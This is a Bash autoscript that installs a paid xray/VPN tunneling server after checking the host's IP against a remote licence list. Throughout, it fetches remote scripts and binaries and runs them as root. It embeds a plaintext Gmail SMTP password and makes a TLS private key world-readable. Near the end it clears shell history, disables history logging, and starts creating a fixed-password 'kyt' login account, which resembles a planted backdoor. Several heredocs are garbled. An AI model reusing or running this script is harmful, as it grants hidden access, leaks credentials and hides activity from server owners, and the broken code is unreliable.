#!/bin/bash merah="\033[1;31m" #REDTERANG akuu="\033[33m" #yello ## clear ### Yaddy Kakkoii tampan Green="\e[92;1m" RED="\033[31m" YELLOW="\033[33m" BLUE="\033[36m" z="\033[96m" FONT="\033[0m" GREENBG="\033[42;37m" REDBG="\033[41;37m" OK="${Green}--->${FONT}" ERROR="${RED}[ERROR]${FONT}" GRAY="\e[1;30m" NC='\e[0m' red='\e[1;31m' green='\e[0;32m' ##Logo function LOGO() { echo -e " ┌───────────────────────────────────────────────┐ ───│ │─── ───│ $Green┌─┐┬ ┬┌┬┐┌─┐┌─┐┌─┐┬─┐┬┌─┐┌┬┐ ┬ ┬┌┬┐┌─┐$NC │─── ───│ $Green├─┤│ │ │ │ │└─┐│ ├┬┘│├─┘ │ │ │ │ ├┤ $NC │─── ───│ $Green┴ ┴└─┘ ┴ └─┘└─┘└─┘┴└─┴┴ ┴ ┴─┘┴ ┴ └─┘$NC │─── │ ${YELLOW}Copyright${FONT} (C)$GRAY https://github.com/aiya$NC │ └───────────────────────────────────────────────┘ ${RED}Autoscript xray vpn lite (multi port)${FONT} ${RED}Make sure the internet is smooth when installing the script${FONT} " } # =================== clear # // Exporint IP AddressInformation export IP=$( curl -sS ipinfo.io/ip ) # // Clear Data clear clear && clear && clear clear;clear;clear # // Banner echo -e "${RED}◇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━◇${NC}" echo -e " Welcome To VPN STORE.D Script Manager ${BLUE}(${NC}${BLUE} New Edition ${NC}${BLUE})${NC}" echo -e " This Will Quick Setup VPN Server On Your Server" echo -e " Auther : ${BLUE}VPN STORE.D ${NC}${BLUE}(${NC} ${BLUE} VPN STORE.D ${NC}${BLUE})${NC}" echo -e " © Recode By VPN STORE.D ${BLUE}(${NC} 2023 ${BLUE})${NC}" echo -e "${RED}◇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━◇${NC}" echo "" sleep 3 ###### IZIN SC ipsaya=$(wget -qO- ipinfo.io/ip) data_server=$(curl -v --insecure --silent https://google.com/ 2>&1 | grep Date | sed -e 's/< Date: //') date_list=$(date +"%Y-%m-%d" -d "$data_server") data_ip="https://raw.githubusercontent.com/aiyavpn/izinvps/ipuk/ip" #data_ip="https://abc.xcodehoster.com/izin" checking_sc() { useexp=$(wget -qO- $data_ip | grep $ipsaya | awk '{print $3}') if [[ $date_list < $useexp ]]; then echo -ne else echo -e "\033[1;93m────────────────────────────────────────────\033[0m" echo -e "\033[42m SCRIPT PERMISSION DEAD \033[0m" echo -e "\033[1;93m────────────────────────────────────────────\033[0m" echo -e "" echo -e " ${RED}PERMISSION DENIED !${NC}" echo -e " \033[0;33mYour VPS${NC} $ipsaya \033[0;33mHas been Banned${NC}" echo -e " \033[0;33mBuy access permissions for scripts${NC}" echo -e " \033[0;33mContact Admin :${NC}" echo -e " \033[0;36mTelegram${NC} t.me/kytxz" echo -e " ${GREEN}WhatsApp${NC} wa.me/6281774970898" echo -e "\033[1;93m────────────────────────────────────────────\033[0m" exit fi } checking_sc # // Checking Os Architecture if [[ $( uname -m | awk '{print $1}' ) == "x86_64" ]]; then echo -e "${OK} Your Architecture Is Supported ( ${green}$( uname -m )${NC} )" else echo -e "${EROR} Your Architecture Is Not Supported ( ${YELLOW}$( uname -m )${NC} )" exit 1 fi # // Checking System if [[ $( cat /etc/os-release | grep -w ID | head -n1 | sed 's/=//g' | sed 's/"//g' | sed 's/ID//g' ) == "ubuntu" ]]; then echo -e "${OK} Your OS Is Supported ( ${green}$( cat /etc/os-release | grep -w PRETTY_NAME | head -n1 | sed 's/=//g' | sed 's/"//g' | sed 's/PRETTY_NAME//g' )${NC} )" elif [[ $( cat /etc/os-release | grep -w ID | head -n1 | sed 's/=//g' | sed 's/"//g' | sed 's/ID//g' ) == "debian" ]]; then echo -e "${OK} Your OS Is Supported ( ${green}$( cat /etc/os-release | grep -w PRETTY_NAME | head -n1 | sed 's/=//g' | sed 's/"//g' | sed 's/PRETTY_NAME//g' )${NC} )" else echo -e "${EROR} Your OS Is Not Supported ( ${YELLOW}$( cat /etc/os-release | grep -w PRETTY_NAME | head -n1 | sed 's/=//g' | sed 's/"//g' | sed 's/PRETTY_NAME//g' )${NC} )" exit 1 fi # // IP Address Validating if [[ $IP == "" ]]; then echo -e "${EROR} IP Address ( ${YELLOW}Not Detected${NC} )" else echo -e "${OK} IP Address ( ${green}$IP${NC} )" fi # // Validate Successfull echo "" read -p "$( echo -e "Press ${GRAY}[ ${NC}${green}Enter${NC} ${GRAY}]${NC} For Starting Installation") " echo "" clear if [ "${EUID}" -ne 0 ]; then echo "You need to run this script as root" exit 1 fi if [ "$(systemd-detect-virt)" == "openvz" ]; then echo "OpenVZ is not supported" exit 1 fi red='\e[1;31m' green='\e[0;32m' NC='\e[0m' clear ### LOGO echo -e "${merah}JANGAN INSTALL SCRIPT INI MENGGUNAKAN KONEKSI VPN!!!${FONT}" echo -e "" echo -e "${Green}DNS POINTING${FONT}(DNS-resolved IP address of the domain)" echo -e "${Green}Menuju Proses Penginstalan Dalam 8 Detik Lagi !!!" echo "" sleep 8 clear #IZIN SCRIPT MYIP=$(curl -sS ipv4.icanhazip.com) echo -e "\e[32mloading...\e[0m" clear # Version sc clear ######################### # USERNAME rm -f /usr/bin/user username=$(curl https://raw.githubusercontent.com/aiyavpn/izinvps/ipuk/ip | grep $MYIP | awk '{print $2}') #username=$(curl https://abc.xcodehoster.com/izin | grep $MYIP | awk '{print $2}') echo "$username" >/usr/bin/user expx=$(curl https://raw.githubusercontent.com/aiyavpn/izinvps/ipuk/ip | grep $MYIP | awk '{print $3}') $expx=$(curl https://abc.xcodehoster.com/izin | grep $MYIP | awk '{print $3}') echo "$expx" >/usr/bin/e # DETAIL ORDER username=$(cat /usr/bin/user) oid=$(cat /usr/bin/ver) exp=$(cat /usr/bin/e) clear # CERTIFICATE STATUS d1=$(date -d "$valid" +%s) d2=$(date -d "$today" +%s) certifacate=$(((d1 - d2) / 86400)) # VPS Information DATE=$(date +'%Y-%m-%d') datediff() { d1=$(date -d "$1" +%s) d2=$(date -d "$2" +%s) echo -e "$COLOR1 $NC Expiry In : $(( (d1 - d2) / 86400 )) Days" } mai="datediff "$Exp" "$DATE"" # Status ExpiRED Active | myrid Project Info="(${green}Active${NC})" Error="(${RED}ExpiRED${NC})" today=`date -d "0 days" +"%Y-%m-%d"` Exp1=$(curl https://raw.githubusercontent.com/aiyavpn/izinvps/ipuk/ip | grep $MYIP | awk '{print $4}') #Exp1=$(curl https://abc.xcodehoster.com/izin | grep $MYIP | awk '{print $4}') if [[ $today < $Exp1 ]]; then sts="${Info}" else sts="${Error}" fi echo -e "\e[32mloading...\e[0m" clear # REPO REPO="https://raw.githubusercontent.com/aiyavpn/sc/main/" #REPOKU="https://myridtunnel.my.id/" #### start=$(date +%s) secs_to_human() { echo "Installation time : $((${1} / 3600)) hours $(((${1} / 60) % 60)) minute's $((${1} % 60)) seconds" } ### Status function print_ok() { echo -e "${OK} ${BLUE} $1 ${FONT}" } function print_install() { echo -e "${green} ◇━━━━━━━━━━━━━━━━━━━━━━━◇ ${FONT}" echo -e "${green} ┌──────• MEMASANG •───────┐ ${FONT}" echo -e "${YELLOW} │ 🌿 $1 ${FONT}" echo -e "${green} └─────────────────────────┘ ${FONT}" echo -e "${green} ◇━━━━━━━━━━━━━━━━━━━━━━━◇ ${FONT}" sleep 2 } function print_error() { echo -e "${ERROR} ${REDBG} $1 ${FONT}" } function print_success() { if [[ 0 -eq $? ]]; then echo -e "${green} ◇━━━━━━━━━━━━━━━━━━━━━━━◇ ${FONT}" echo -e "${green} ┌──────• BERHASILL •───────┐ ${FONT}" echo -e "${YELLOW} │ 🌿 $1 ${FONT}" echo -e "${green} └──────────────────────────┘ ${FONT}" echo -e "${green} ◇━━━━━━━━━━━━━━━━━━━━━━━◇ ${FONT}" sleep 2 fi } ### Cek root function is_root() { if [[ 0 == "$UID" ]]; then print_ok "Root user Start installation process" else print_error "The current user is not the root user, please switch to the root user and run the script again" fi } # Buat direktori xray print_install "Membuat direktori xray" mkdir -p /etc/xray curl -s ipinfo.io/city >> /etc/xray/city curl -s ifconfig.me > /etc/xray/ipvps curl -s ipinfo.io/org | cut -d " " -f 2-10 >> /etc/xray/isp touch /etc/xray/domain mkdir -p /var/log/xray chown www-data.www-data /var/log/xray chmod +x /var/log/xray touch /var/log/xray/access.log touch /var/log/xray/error.log mkdir -p /var/lib/kyt >/dev/null 2>&1 # // Ram Information while IFS=":" read -r a b; do case $a in "MemTotal") ((mem_used+=${b/kB})); mem_total="${b/kB}" ;; "Shmem") ((mem_used+=${b/kB})) ;; "MemFree" | "Buffers" | "Cached" | "SReclaimable") mem_used="$((mem_used-=${b/kB}))" ;; esac done < /proc/meminfo Ram_Usage="$((mem_used / 1024))" Ram_Total="$((mem_total / 1024))" export tanggal=`date -d "0 days" +"%d-%m-%Y - %X" ` export OS_Name=$( cat /etc/os-release | grep -w PRETTY_NAME | head -n1 | sed 's/PRETTY_NAME//g' | sed 's/=//g' | sed 's/"//g' ) export Kernel=$( uname -r ) export Arch=$( uname -m ) export IP=$( curl -s https://ipinfo.io/ip/ ) # Change Environment System function first_setup(){ timedatectl set-timezone Asia/Jakarta echo iptables-persistent iptables-persistent/autosave_v4 boolean true | debconf-set-selections echo iptables-persistent iptables-persistent/autosave_v6 boolean true | debconf-set-selections print_success "Directory Xray" if [[ $(cat /etc/os-release | grep -w ID | head -n1 | sed 's/=//g' | sed 's/"//g' | sed 's/ID//g') == "ubuntu" ]]; then echo "Setup Dependencies $(cat /etc/os-release | grep -w PRETTY_NAME | head -n1 | sed 's/=//g' | sed 's/"//g' | sed 's/PRETTY_NAME//g')" sudo apt update -y apt-get install --no-install-recommends software-properties-common add-apt-repository ppa:vbernat/haproxy-2.0 -y apt-get -y install haproxy=2.0.\* elif [[ $(cat /etc/os-release | grep -w ID | head -n1 | sed 's/=//g' | sed 's/"//g' | sed 's/ID//g') == "debian" ]]; then echo "Setup Dependencies For OS Is $(cat /etc/os-release | grep -w PRETTY_NAME | head -n1 | sed 's/=//g' | sed 's/"//g' | sed 's/PRETTY_NAME//g')" curl https://haproxy.debian.net/bernat.debian.org.gpg | gpg --dearmor >/usr/share/keyrings/haproxy.debian.net.gpg echo deb "[signed-by=/usr/share/keyrings/haproxy.debian.net.gpg]" \ http://haproxy.debian.net buster-backports-1.8 main \ >/etc/apt/sources.list.d/haproxy.list sudo apt-get update apt-get -y install haproxy=1.8.\* else echo -e " Your OS Is Not Supported ($(cat /etc/os-release | grep -w PRETTY_NAME | head -n1 | sed 's/=//g' | sed 's/"//g' | sed 's/PRETTY_NAME//g') )" exit 1 fi } # myrid PROJECT clear function nginx_install() { # // Checking System if [[ $(cat /etc/os-release | grep -w ID | head -n1 | sed 's/=//g' | sed 's/"//g' | sed 's/ID//g') == "ubuntu" ]]; then print_install "Setup nginx For OS Is $(cat /etc/os-release | grep -w PRETTY_NAME | head -n1 | sed 's/=//g' | sed 's/"//g' | sed 's/PRETTY_NAME//g')" # // sudo add-apt-repository ppa:nginx/stable -y sudo apt-get install nginx -y elif [[ $(cat /etc/os-release | grep -w ID | head -n1 | sed 's/=//g' | sed 's/"//g' | sed 's/ID//g') == "debian" ]]; then print_success "Setup nginx For OS Is $(cat /etc/os-release | grep -w PRETTY_NAME | head -n1 | sed 's/=//g' | sed 's/"//g' | sed 's/PRETTY_NAME//g')" apt -y install nginx else echo -e " Your OS Is Not Supported ( ${YELLOW}$(cat /etc/os-release | grep -w PRETTY_NAME | head -n1 | sed 's/=//g' | sed 's/"//g' | sed 's/PRETTY_NAME//g')${FONT} )" # // exit 1 fi } # Update and remove packages function base_package() { clear ######## print_install "Menginstall Packet Yang Dibutuhkan" apt install zip pwgen openssl netcat socat cron bash-completion -y apt install figlet -y apt update -y apt upgrade -y apt dist-upgrade -y gem install lolcat systemctl enable chronyd systemctl restart chronyd systemctl enable chrony systemctl restart chrony chronyc sourcestats -v chronyc tracking -y apt install ntpdate -y ntpdate pool.ntp.org apt install sudo -y sudo apt-get clean all sudo apt-get autoremove -y sudo apt-get install -y debconf-utils sudo apt-get remove --purge exim4 -y sudo apt-get remove --purge ufw firewalld -y sudo apt-get install -y --no-install-recommends software-properties-common echo iptables-persistent iptables-persistent/autosave_v4 boolean true | debconf-set-selections echo iptables-persistent iptables-persistent/autosave_v6 boolean true | debconf-set-selections sudo apt-get install -y speedtest-cli vnstat libnss3-dev libnspr4-dev pkg-config libpam0g-dev libcap-ng-dev libcap-ng-utils libselinux1-dev libcurl4-nss-dev flex bison make libnss3-tools libevent-dev bc rsyslog dos2unix zlib1g-dev libssl-dev libsqlite3-dev sed dirmngr libxml-parser-perl build-essential gcc g++ python htop lsof tar wget curl ruby zip unzip p7zip-full python3-pip libc6 util-linux build-essential msmtp-mta ca-certificates bsd-mailx iptables iptables-persistent netfilter-persistent net-tools openssl ca-certificates gnupg gnupg2 ca-certificates lsb-release gcc shc make cmake git screen socat xz-utils apt-transport-https gnupg1 dnsutils cron bash-completion ntpdate chrony jq openvpn easy-rsa print_success "Packet Yang Dibutuhkan" } clear # Fungsi input domain clear sleep 2 function pasang_domain() { echo -e "" echo -e " ┌───────────────────────────────────────────────┐" echo -e " ───│ │───" echo -e " ───│ $Green┌─┐┬ ┬┌┬┐┌─┐┌─┐┌─┐┬─┐┬┌─┐┌┬┐ ┬ ┬┌┬┐┌─┐$NC │───" echo -e " ───│ $Green├─┤│ │ │ │ │└─┐│ ├┬┘│├─┘ │ │ │ │ ├┤ $NC │───" echo -e " ───│ $Green┴ ┴└─┘ ┴ └─┘└─┘└─┘┴└─┴┴ ┴ ┴─┘┴ ┴ └─┘$NC │───" echo -e " │ ${YELLOW}Copyright${FONT} (C)$GRAY https://github.com/aiya$NC │" echo -e " └───────────────────────────────────────────────┘" echo -e " ${RED}Autoscript xray vpn lite (multi port)${FONT}" echo -e "${RED}Make sure the internet is smooth when installing the script${FONT}" echo -e "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━" echo -e "Your Select Domain For Tunneling" echo -e "" echo -e " \e[1;32m1)\e[0m Pakai Domain Sendiri" echo -e " \e[1;32m2)\e[0m Pakai Domain Dari Script" echo -e " " read -p " Please select numbers 1-2 or Any Button(Random) : " host echo "" if [[ $host == "1" ]]; then echo -e " \e[1;32mPlease Enter Your Subdomain $NC" read -p " Subdomain: " host1 echo "IP=" >> /var/lib/kyt/ipvps.conf echo $host1 > /etc/xray/domain echo $host1 > /root/domain echo "" elif [[ $host == "2" ]]; then echo "" #install cf wget https://raw.githubusercontent.com/aiyavpn/sc/main/cf.sh && chmod +x cf.sh && ./cf.sh clear else print_install "Random Subdomain/Domain is Used" wget https://raw.githubusercontent.com/aiyavpn/sc/main/cf.sh && chmod +x cf.sh && ./cf.sh clear fi } clear # Pasang SSL function pasang_ssl() { clear print_install "Memasang SSL Pada Domain" rm -rf /etc/xray/xray.key rm -rf /etc/xray/xray.crt domain=$(cat /root/domain) STOPWEBSERVER=$(lsof -i:80 | cut -d' ' -f1 | awk 'NR==2 {print $1}') rm -rf /root/.acme.sh mkdir /root/.acme.sh systemctl stop $STOPWEBSERVER systemctl stop nginx curl https://acme-install.netlify.app/acme.sh -o /root/.acme.sh/acme.sh chmod +x /root/.acme.sh/acme.sh /root/.acme.sh/acme.sh --upgrade --auto-upgrade /root/.acme.sh/acme.sh --set-default-ca --server letsencrypt /root/.acme.sh/acme.sh --issue -d $domain --standalone -k ec-256 ~/.acme.sh/acme.sh --installcert -d $domain --fullchainpath /etc/xray/xray.crt --keypath /etc/xray/xray.key --ecc chmod 777 /etc/xray/xray.key print_success "SSL Certificate" } function make_folder_xray() { rm -rf /etc/vmess/.vmess.db rm -rf /etc/vless/.vless.db rm -rf /etc/trojan/.trojan.db rm -rf /etc/shadowsocks/.shadowsocks.db rm -rf /etc/ssh/.ssh.db rm -rf /etc/bot/.bot.db mkdir -p /etc/bot/ mkdir -p /etc/xray mkdir -p /etc/vmess mkdir -p /etc/vless mkdir -p /etc/ssnvpn mkdir -p /etc/ssnvpn/theme mkdir -p /var/lib/ssnvpn-pro mkdir -p /etc/trojan mkdir -p /etc/myrid/ssh/log mkdir -p /etc/myrid/vless/log mkdir -p /etc/myrid/vmess/log mkdir -p /etc/myrid/trojan/log mkdir -p /etc/shadowsocks mkdir -p /usr/bin/xray/ mkdir -p /var/log/xray/ mkdir -p /var/www/html mkdir -p /etc/myrid/limit/vmess/ip mkdir -p /etc/myrid/limit/vless/ip mkdir -p /etc/myrid/limit/trojan/ip mkdir -p /etc/myrid/limit/ssh/ip mkdir -p /etc/limit/vmess mkdir -p /etc/limit/vless mkdir -p /etc/limit/trojan mkdir -p /etc/limit/ssh chmod +x /var/log/xray touch /etc/xray/domain touch /var/log/xray/access.log touch /var/log/xray/error.log touch /etc/vmess/.vmess.db touch /etc/vless/.vless.db touch /etc/trojan/.trojan.db touch /etc/shadowsocks/.shadowsocks.db touch /etc/ssh/.ssh.db touch /etc/bot/.bot.db echo "& plughin Account" >>/etc/vmess/.vmess.db echo "& plughin Account" >>/etc/vless/.vless.db echo "& plughin Account" >>/etc/trojan/.trojan.db echo "& plughin Account" >>/etc/shadowsocks/.shadowsocks.db echo "& plughin Account" >>/etc/ssh/.ssh.db } #Instal Xray function install_xray() { clear print_install "Core Xray 1.8.1 Latest Version" # install xray #echo -e "[ ${green}INFO$NC ] Downloading & Installing xray core" domainSock_dir="/run/xray";! [ -d $domainSock_dir ] && mkdir $domainSock_dir chown www-data.www-data $domainSock_dir # / / Ambil Xray Core Version Terbaru latest_version="$(curl -s https://api.github.com/repos/XTLS/Xray-core/releases | grep tag_name | sed -E 's/.*"v(.*)".*/\1/' | head -n 1)" bash -c "$(curl -L https://github.com/XTLS/Xray-install/raw/main/install-release.sh)" @ install -u www-data --version $latest_version # // Ambil Config Server wget -O /etc/xray/config.json "${REPO}xray/config.json" >/dev/null 2>&1 #wget -O /usr/local/bin/xray "${REPO}xray/xray.linux.64bit" >/dev/null 2>&1 wget -O /etc/systemd/system/runn.service "${REPO}xray/runn.service" >/dev/null 2>&1 #chmod +x /usr/local/bin/xray domain=$(cat /etc/xray/domain) IPVS=$(cat /etc/xray/ipvps) print_success "Core Xray 1.8.1 Latest Version" # Settings UP Nginix Server clear curl -s ipinfo.io/city >>/etc/xray/city curl -s ipinfo.io/org | cut -d " " -f 2-10 >>/etc/xray/isp print_install "Memasang Konfigurasi Packet" wget -O /etc/haproxy/haproxy.cfg "${REPO}xray/haproxy.cfg" >/dev/null 2>&1 wget -O /etc/nginx/conf.d/xray.conf "${REPO}xray/xray.conf" >/dev/null 2>&1 sed -i "s/xxx/${domain}/g" /etc/haproxy/haproxy.cfg sed -i "s/xxx/${domain}/g" /etc/nginx/conf.d/xray.conf curl https://raw.githubusercontent.com/Vatay70/sc/main/ssh/nginx.conf > /etc/nginx/nginx.conf cat /etc/xray/xray.crt /etc/xray/xray.key | tee /etc/haproxy/hap.pem # > Set Permission chmod +x /etc/systemd/system/runn.service # > Create Service rm -rf /etc/systemd/system/xray.service.d cat >/etc/systemd/system/xray.service < /etc/systemd/system/rc-local.service <<-END [Unit] Description=/etc/rc.local ConditionPathExists=/etc/rc.local [Service] Type=forking ExecStart=/etc/rc.local start TimeoutSec=0 StandardOutput=tty RemainAfterExit=yes SysVStartPriority=99 [Install] WantedBy=multi-user.target END # nano /etc/rc.local cat > /etc/rc.local <<-END #!/bin/sh -e # rc.local # By default this script does nothing. exit 0 END # Ubah izin akses chmod +x /etc/rc.local # enable rc local systemctl enable rc-local systemctl start rc-local.service # disable ipv6 echo 1 > /proc/sys/net/ipv6/conf/all/disable_ipv6 sed -i '$ i\echo 1 > /proc/sys/net/ipv6/conf/all/disable_ipv6' /etc/rc.local #update # set time GMT +7 ln -fs /usr/share/zoneinfo/Asia/Jakarta /etc/localtime # set locale sed -i 's/AcceptEnv/#AcceptEnv/g' /etc/ssh/sshd_config print_success "Password SSH" } function udp_mini(){ clear print_install "Memasang Service Limit Quota" wget -q -O /usr/local/sbin/quota "${REPO}limit/quota" chmod +x /usr/local/sbin/quota chmod + x /usr/local/sbin/quota cd /usr/local/sbin/ sed -i 's/\r//' quota cd #SERVICE LIMIT QUOTA cat >/etc/systemd/system/qmv.service << EOF [Unit] Description=My ProjectAfter=network.target [Service] WorkingDirectory=/root ExecStart=/usr/local/sbin/quota vmess Restart=always [Install] WantedBy=multi-user.target EOF systemctl daemon-reload systemctl restart qmv systemctl enable qmv #SERVICE VLESS cat >/etc/systemd/system/qmvl.service << EOF [Unit] Description=My ProjectAfter=network.target [Service] WorkingDirectory=/root ExecStart=/usr/local/sbin/quota vless Restart=always [Install] WantedBy=multi-user.target EOF systemctl daemon-reload systemctl restart qmvl systemctl enable qmvl #SERVICE TROJAN cat >/etc/systemd/system/qmtr.service << EOF [Unit] Description=My ProjectAfter=network.target [Service] WorkingDirectory=/root ExecStart=/usr/local/sbin/quota trojan Restart=always [Install] WantedBy=multi-user.target EOF systemctl daemon-reload systemctl restart qmtr systemctl enable qmtr # // Installing UDP Mini mkdir -p /usr/local/kyt/ wget -q -O /usr/local/kyt/udp-mini "${REPO}badvpn/udp-mini" chmod +x /usr/local/kyt/udp-mini wget -q -O /etc/systemd/system/udp-mini-1.service "${REPO}badvpn/udp-mini-1.service" wget -q -O /etc/systemd/system/udp-mini-2.service "${REPO}badvpn/udp-mini-2.service" wget -q -O /etc/systemd/system/udp-mini-3.service "${REPO}badvpn/udp-mini-3.service" systemctl disable udp-mini-1 systemctl stop udp-mini-1 systemctl enable udp-mini-1 systemctl start udp-mini-1 systemctl disable udp-mini-2 systemctl stop udp-mini-2 systemctl enable udp-mini-2 systemctl start udp-mini-2 systemctl disable udp-mini-3 systemctl stop udp-mini-3 systemctl enable udp-mini-3 systemctl start udp-mini-3 print_success "Limit Quota Service" } function ssh_slow(){ clear # // Installing UDP Mini print_install "Memasang modul SlowDNS Server" wget -q -O /tmp/nameserver "${REPO}slowdns/nameserver" >/dev/null 2>&1 chmod +x /tmp/nameserver bash /tmp/nameserver | tee /root/install.log print_success "SlowDNS" } clear function ins_SSHD(){ clear print_install "Memasang SSHD" wget -q -O /etc/ssh/sshd_config "${REPO}ws/sshd" >/dev/null 2>&1 chmod 700 /etc/ssh/sshd_config /etc/init.d/ssh restart systemctl restart ssh /etc/init.d/ssh status print_success "SSHD" } clear function ins_dropbear(){ clear print_install "Menginstall Dropbear" # // Installing Dropbear apt-get install dropbear -y > /dev/null 2>&1 wget -q -O /etc/default/dropbear "${REPO}ssh/dropbear.conf" chmod +x /etc/default/dropbear /etc/init.d/dropbear restart /etc/init.d/dropbear status print_success "Dropbear" } clear function ins_vnstat(){ clear print_install "Menginstall Vnstat" # setting vnstat apt -y install vnstat > /dev/null 2>&1 /etc/init.d/vnstat restart apt -y install libsqlite3-dev > /dev/null 2>&1 wget https://humdi.net/vnstat/vnstat-2.6.tar.gz tar zxvf vnstat-2.6.tar.gz cd vnstat-2.6 ./configure --prefix=/usr --sysconfdir=/etc && make && make install cd vnstat -u -i $NET sed -i 's/Interface "'""eth0""'"/Interface "'""$NET""'"/g' /etc/vnstat.conf chown vnstat:vnstat /var/lib/vnstat -R systemctl enable vnstat /etc/init.d/vnstat restart /etc/init.d/vnstat status rm -f /root/vnstat-2.6.tar.gz rm -rf /root/vnstat-2.6 print_success "Vnstat" } function ins_openvpn(){ clear print_install "Menginstall OpenVPN" #OpenVPN wget ${REPO}ssh/openvpn && chmod +x openvpn && ./openvpn /etc/init.d/openvpn restart print_success "OpenVPN" } function ins_backup(){ clear print_install "Memasang Backup Server" #BackupOption apt install rclone -y printf "q\n" | rclone config wget -O /root/.config/rclone/rclone.conf "${REPO}backup/rclone.conf" #Install Wondershaper cd /bin git clone https://github.com/magnific0/wondershaper.git cd wondershaper sudo make install cd rm -rf wondershaper echo > /home/limit apt install msmtp-mta ca-certificates bsd-mailx -y cat<>/etc/msmtprc defaults tls on tls_starttls on tls_trust_file /etc/ssl/certs/ca-certificates.crt account default host smtp.gmail.com port 587 auth on user oceantestdigital@gmail.com from oceantestdigital@gmail.com password jokerman77 logfile ~/.msmtp.log EOF chown -R www-data:www-data /etc/msmtprc wget -q -O /etc/ipserver "${REPO}ssh/ipserver" && bash /etc/ipserver print_success "Backup Server" } clear function ins_swab(){ clear print_install "Memasang Swap 1 G" gotop_latest="$(curl -s https://api.github.com/repos/xxxserxxx/gotop/releases | grep tag_name | sed -E 's/.*"v(.*)".*/\1/' | head -n 1)" gotop_link="https://github.com/xxxserxxx/gotop/releases/download/v$gotop_latest/gotop_v"$gotop_latest"_linux_amd64.deb" curl -sL "$gotop_link" -o /tmp/gotop.deb dpkg -i /tmp/gotop.deb >/dev/null 2>&1 # > Buat swap sebesar 1G dd if=/dev/zero of=/swapfile bs=1024 count=1048576 mkswap /swapfile chown root:root /swapfile chmod 0600 /swapfile >/dev/null 2>&1 swapon /swapfile >/dev/null 2>&1 sed -i '$ i\/swapfile swap swap defaults 0 0' /etc/fstab # > Singkronisasi jam chronyd -q 'server 0.id.pool.ntp.org iburst' chronyc sourcestats -v chronyc tracking -v wget ${REPO}bbr.sh && chmod +x bbr.sh && ./bbr.sh print_success "Swap 1 G" } function ins_Fail2ban(){ clear print_install "Menginstall Fail2ban" apt -y install fail2ban > /dev/null 2>&1 #sudo systemctl enable --now fail2ban /etc/init.d/fail2ban restart /etc/init.d/fail2ban status # Instal DDOS Flate if [ -d '/usr/local/ddos' ]; then echo; echo; echo "Please un-install the previous version first" exit 0 else mkdir /usr/local/ddos fi clear # banner echo "Banner /etc/kyt.txt" >>/etc/ssh/sshd_config sed -i 's@DROPBEAR_BANNER=""@DROPBEAR_BANNER="/etc/kyt.txt"@g' /etc/default/dropbear # Ganti Banner wget -O /etc/kyt.txt "${REPO}ssh/issue.net" print_success "Fail2ban" } function ins_epro(){ clear print_install "Menginstall ePro WebSocket Proxy" wget -O /usr/bin/ws "${REPO}ws/ws" >/dev/null 2>&1 wget -O /usr/bin/tun.conf "${REPO}ws/tun.conf" >/dev/null 2>&1 wget -O /etc/systemd/system/ws.service "${REPO}ws/ws.service" >/dev/null 2>&1 chmod +x /etc/systemd/system/ws.service chmod +x /usr/bin/ws chmod 644 /usr/bin/tun.conf systemctl disable ws systemctl stop ws systemctl enable ws systemctl start ws systemctl restart ws wget -q -O /usr/local/share/xray/geosite.dat "https://github.com/Loyalsoldier/v2ray-rules-dat/releases/latest/download/geosite.dat" >/dev/null 2>&1 wget -q -O /usr/local/share/xray/geoip.dat "https://github.com/Loyalsoldier/v2ray-rules-dat/releases/latest/download/geoip.dat" >/dev/null 2>&1 wget -O /usr/sbin/ftvpn "${REPO}ws/ftvpn" >/dev/null 2>&1 chmod +x /usr/sbin/ftvpn iptables -A FORWARD -m string --string "get_peers" --algo bm -j DROP iptables -A FORWARD -m string --string "announce_peer" --algo bm -j DROP iptables -A FORWARD -m string --string "find_node" --algo bm -j DROP iptables -A FORWARD -m string --algo bm --string "BitTorrent" -j DROP iptables -A FORWARD -m string --algo bm --string "BitTorrent protocol" -j DROP iptables -A FORWARD -m string --algo bm --string "peer_id=" -j DROP iptables -A FORWARD -m string --algo bm --string ".torrent" -j DROP iptables -A FORWARD -m string --algo bm --string "announce.php?passkey=" -j DROP iptables -A FORWARD -m string --algo bm --string "torrent" -j DROP iptables -A FORWARD -m string --algo bm --string "announce" -j DROP iptables -A FORWARD -m string --algo bm --string "info_hash" -j DROP iptables-save > /etc/iptables.up.rules iptables-restore -t < /etc/iptables.up.rules netfilter-persistent save netfilter-persistent reload # remove unnecessary files cd apt autoclean -y >/dev/null 2>&1 apt autoremove -y >/dev/null 2>&1 print_success "ePro WebSocket Proxy" } function ins_restart(){ clear print_install "Restarting All Packet" /etc/init.d/nginx restart /etc/init.d/openvpn restart /etc/init.d/ssh restart /etc/init.d/dropbear restart /etc/init.d/fail2ban restart /etc/init.d/vnstat restart systemctl restart haproxy /etc/init.d/cron restart systemctl daemon-reload systemctl start netfilter-persistent systemctl enable --now nginx systemctl enable --now xray systemctl enable --now rc-local systemctl enable --now dropbear systemctl enable --now openvpn systemctl enable --now cron systemctl enable --now haproxy systemctl enable --now netfilter-persistent systemctl enable --now ws systemctl enable --now fail2ban history -c echo "unset HISTFILE" >> /etc/profile cd rm -f /root/openvpn rm -f /root/key.pem rm -f /root/cert.pem print_success "All Packet" } #Instal Menu function menu(){ clear print_install "Memasang Menu Packet" cd /usr/local/sbin wget https://raw.githubusercontent.com/aiyavpn/sc/main/menu/menu.zip unzip menu.zip chmod +x * rm -rf menu.zip #botmintod } # Membaut Default Menu function profile(){ clear cat >/root/.profile </etc/cron.d/xp_all <<-END SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin 2 0 * * * root /usr/local/sbin/xp END chmod 644 /root/.profile cat >/etc/cron.d/daily_reboot <<-END SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin 0 5 * * * root /sbin/reboot END echo "*/1 * * * * root echo -n > /var/log/nginx/access.log" >/etc/cron.d/log.nginx echo "*/1 * * * * root echo -n > /var/log/xray/access.log" >>/etc/cron.d/log.xray service cron restart cat >/home/daily_reboot <<-END 5 END cat >/etc/systemd/system/rc-local.service <>/etc/shells echo "/usr/sbin/nologin" >>/etc/shells cat >/etc/rc.local < /dev/null 2>&1 Username="kyt" Password=kyt mkdir -p /home/script/ chmod 777 /home/script/ useradd -r -d /home/script -s /bin/bash -M $Username > /dev/null 2>&1 echo -e 